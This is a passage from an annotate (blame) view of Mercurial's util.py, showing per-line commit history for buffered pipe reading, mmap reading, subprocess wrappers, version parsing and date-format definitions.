util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
391 return self._input.closed |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
392 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
393 def fileno(self): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
394 return self._input.fileno() |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
395 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
396 def close(self): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
397 return self._input.close() |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
398 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
399 def read(self, size): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
400 while (not self._eof) and (self._lenbuf < size): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
401 self._fillbuffer() |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
402 return self._frombuffer(size) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
403 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
404 def readline(self, *args, **kwargs): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
405 if 1 < len(self._buffer): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
406 # this should not happen because both read and readline end with a |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
407 # _frombuffer call that collapse it. |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
408 self._buffer = [''.join(self._buffer)] |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
409 self._lenbuf = len(self._buffer[0]) |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
410 lfi = -1 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
411 if self._buffer: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
412 lfi = self._buffer[-1].find('\n') |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
413 while (not self._eof) and lfi < 0: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
414 self._fillbuffer() |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
415 if self._buffer: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
416 lfi = self._buffer[-1].find('\n') |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
417 size = lfi + 1 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
418 if lfi < 0: # end of file |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
419 size = self._lenbuf |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
420 elif 1 < len(self._buffer): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
421 # we need to take previous chunks into account |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
422 size += self._lenbuf - len(self._buffer[-1]) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
423 return self._frombuffer(size) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
424 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
425 def _frombuffer(self, size): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
426 """return at most 'size' data from the buffer |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
427 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
428 The data are removed from the buffer.""" |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
429 if size == 0 or not self._buffer: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
430 return '' |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
431 buf = self._buffer[0] |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
432 if 1 < len(self._buffer): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
433 buf = ''.join(self._buffer) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
434 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
435 data = buf[:size] |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
436 buf = buf[len(data):] |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
437 if buf: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
438 self._buffer = [buf] |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
439 self._lenbuf = len(buf) |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
440 else: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
441 self._buffer = [] |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
442 self._lenbuf = 0 |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
443 return data |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
444 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
445 def _fillbuffer(self): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
446 """read data to the buffer""" |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
447 data = os.read(self._input.fileno(), _chunksize) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
448 if not data: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
449 self._eof = True |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
450 else: |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
451 self._lenbuf += len(data) |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
452 self._buffer.append(data) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
453 |
34295
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
454 def mmapread(fp): |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
455 try: |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
456 fd = getattr(fp, 'fileno', lambda: fp)() |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
457 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
458 except ValueError: |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
459 # Empty files cannot be mmapped, but mmapread should still work. Check |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
460 # if the file is empty, and if so, return an empty buffer. |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
461 if os.fstat(fd).st_size == 0: |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
462 return '' |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
463 raise |
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
464 |
10199
c2e2a5e6c36b
subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents:
10197
diff
changeset
|
465 def popen2(cmd, env=None, newlines=False): |
9089
8ec39725d966
util: remove unused bufsize argument
Martin Geisler <mg@lazybytes.net>
parents:
9084
diff
changeset
|
466 # Setting bufsize to -1 lets the system decide the buffer size. |
8ec39725d966
util: remove unused bufsize argument
Martin Geisler <mg@lazybytes.net>
parents:
9084
diff
changeset
|
467 # The default for bufsize is 0, meaning unbuffered. This leads to |
8ec39725d966
util: remove unused bufsize argument
Martin Geisler <mg@lazybytes.net>
parents:
9084
diff
changeset
|
468 # poor performance on Mac OS X: http://bugs.python.org/issue4194 |
8ec39725d966
util: remove unused bufsize argument
Martin Geisler <mg@lazybytes.net>
parents:
9084
diff
changeset
|
469 p = subprocess.Popen(cmd, shell=True, bufsize=-1, |
9083
ec171737aaf1
Backed out changeset fce065538bcf: it caused a 5x performance regression on OS X
Bryan O'Sullivan <bos@serpentine.com>
parents:
8340
diff
changeset
|
470 close_fds=closefds, |
10197
29e3c4a7699b
subrepo: normalize svn output line-endings
Patrick Mezard <pmezard@gmail.com>
parents:
9996
diff
changeset
|
471 stdin=subprocess.PIPE, stdout=subprocess.PIPE, |
10199
c2e2a5e6c36b
subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents:
10197
diff
changeset
|
472 universal_newlines=newlines, |
c2e2a5e6c36b
subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents:
10197
diff
changeset
|
473 env=env) |
8280
0b02d98d44d0
util: always use subprocess
Martin Geisler <mg@lazybytes.net>
parents:
8257
diff
changeset
|
474 return p.stdin, p.stdout |
10197
29e3c4a7699b
subrepo: normalize svn output line-endings
Patrick Mezard <pmezard@gmail.com>
parents:
9996
diff
changeset
|
475 |
10199
c2e2a5e6c36b
subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents:
10197
diff
changeset
|
476 def popen3(cmd, env=None, newlines=False): |
18759
9baf4330d88f
sshpeer: store subprocess so it cleans up correctly
Durham Goode <durham@fb.com>
parents:
18736
diff
changeset
|
477 stdin, stdout, stderr, p = popen4(cmd, env, newlines) |
9baf4330d88f
sshpeer: store subprocess so it cleans up correctly
Durham Goode <durham@fb.com>
parents:
18736
diff
changeset
|
478 return stdin, stdout, stderr |
9baf4330d88f
sshpeer: store subprocess so it cleans up correctly
Durham Goode <durham@fb.com>
parents:
18736
diff
changeset
|
479 |
25245
504ef9c49f4a
util: allow to specify buffer size in popen4
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25211
diff
changeset
|
480 def popen4(cmd, env=None, newlines=False, bufsize=-1): |
504ef9c49f4a
util: allow to specify buffer size in popen4
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25211
diff
changeset
|
481 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize, |
9083
ec171737aaf1
Backed out changeset fce065538bcf: it caused a 5x performance regression on OS X
Bryan O'Sullivan <bos@serpentine.com>
parents:
8340
diff
changeset
|
482 close_fds=closefds, |
8280
0b02d98d44d0
util: always use subprocess
Martin Geisler <mg@lazybytes.net>
parents:
8257
diff
changeset
|
483 stdin=subprocess.PIPE, stdout=subprocess.PIPE, |
10197
29e3c4a7699b
subrepo: normalize svn output line-endings
Patrick Mezard <pmezard@gmail.com>
parents:
9996
diff
changeset
|
484 stderr=subprocess.PIPE, |
10199
c2e2a5e6c36b
subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents:
10197
diff
changeset
|
485 universal_newlines=newlines, |
c2e2a5e6c36b
subrepo: force en_US.UTF-8 locale when calling svn
Patrick Mezard <pmezard@gmail.com>
parents:
10197
diff
changeset
|
486 env=env) |
18759
9baf4330d88f
sshpeer: store subprocess so it cleans up correctly
Durham Goode <durham@fb.com>
parents:
18736
diff
changeset
|
487 return p.stdin, p.stdout, p.stderr, p |
7106
4674706b5b95
python2.6: use subprocess if available
Dirkjan Ochtman <dirkjan@ochtman.nl>
parents:
6884
diff
changeset
|
488 |
7632 | 489 def version(): |
490 """Return version information if available.""" | |
491 try: | |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
492 from . import __version__ |
7632 | 493 return __version__.version |
494 except ImportError: | |
495 return 'unknown' | |
496 | |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
497 def versiontuple(v=None, n=4): |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
498 """Parses a Mercurial version string into an N-tuple. |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
499 |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
500 The version string to be parsed is specified with the ``v`` argument. |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
501 If it isn't defined, the current Mercurial version string will be parsed. |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
502 |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
503 ``n`` can be 2, 3, or 4. Here is how some version strings map to |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
504 returned values: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
505 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
506 >>> v = b'3.6.1+190-df9b73d2d444' |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
507 >>> versiontuple(v, 2) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
508 (3, 6) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
509 >>> versiontuple(v, 3) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
510 (3, 6, 1) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
511 >>> versiontuple(v, 4) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
512 (3, 6, 1, '190-df9b73d2d444') |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
513 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
514 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
515 (3, 6, 1, '190-df9b73d2d444+20151118') |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
516 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
517 >>> v = b'3.6' |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
518 >>> versiontuple(v, 2) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
519 (3, 6) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
520 >>> versiontuple(v, 3) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
521 (3, 6, None) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
522 >>> versiontuple(v, 4) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
523 (3, 6, None, None) |
29613
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
524 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
525 >>> v = b'3.9-rc' |
29613
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
526 >>> versiontuple(v, 2) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
527 (3, 9) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
528 >>> versiontuple(v, 3) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
529 (3, 9, None) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
530 >>> versiontuple(v, 4) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
531 (3, 9, None, 'rc') |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
532 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
533 >>> v = b'3.9-rc+2-02a8fea4289b' |
29613
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
534 >>> versiontuple(v, 2) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
535 (3, 9) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
536 >>> versiontuple(v, 3) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
537 (3, 9, None) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
538 >>> versiontuple(v, 4) |
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
539 (3, 9, None, 'rc+2-02a8fea4289b') |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
540 """ |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
541 if not v: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
542 v = version() |
29613
616cbcb59e05
util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
29592
diff
changeset
|
543 parts = remod.split('[\+-]', v, 1) |
27112
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
544 if len(parts) == 1: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
545 vparts, extra = parts[0], None |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
546 else: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
547 vparts, extra = parts |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
548 |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
549 vints = [] |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
550 for i in vparts.split('.'): |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
551 try: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
552 vints.append(int(i)) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
553 except ValueError: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
554 break |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
555 # (3, 6) -> (3, 6, None) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
556 while len(vints) < 3: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
557 vints.append(None) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
558 |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
559 if n == 2: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
560 return (vints[0], vints[1]) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
561 if n == 3: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
562 return (vints[0], vints[1], vints[2]) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
563 if n == 4: |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
564 return (vints[0], vints[1], vints[2], extra) |
39c14e89b881
util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27066
diff
changeset
|
565 |
2609
6c5b1b5cc160
util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents:
2601
diff
changeset
|
566 # used by parsedate |
3808
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
567 defaultdateformats = ( |
29638
491ee264b9f6
date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents:
29637
diff
changeset
|
568 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601 |
491ee264b9f6
date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents:
29637
diff
changeset
|
569 '%Y-%m-%dT%H:%M', # without seconds |
491ee264b9f6
date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents:
29637
diff
changeset
|
570 '%Y-%m-%dT%H%M%S', # another awful but legal variant without : |
491ee264b9f6
date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents:
29637
diff
changeset
|
571 '%Y-%m-%dT%H%M', # without seconds |
491ee264b9f6
date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents:
29637
diff
changeset
|
572 '%Y-%m-%d %H:%M:%S', # our common legal variant |
491ee264b9f6
date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents:
29637
diff
changeset
|
573 '%Y-%m-%d %H:%M', # without seconds |
491ee264b9f6
date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents:
29637
diff
changeset
|
574 '%Y-%m-%d %H%M%S', # without : |
491ee264b9f6
date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents:
29637
diff
changeset
|
575 '%Y-%m-%d %H%M', # without seconds |
3808
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
576 '%Y-%m-%d %I:%M:%S%p', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
577 '%Y-%m-%d %H:%M', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
578 '%Y-%m-%d %I:%M%p', |
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
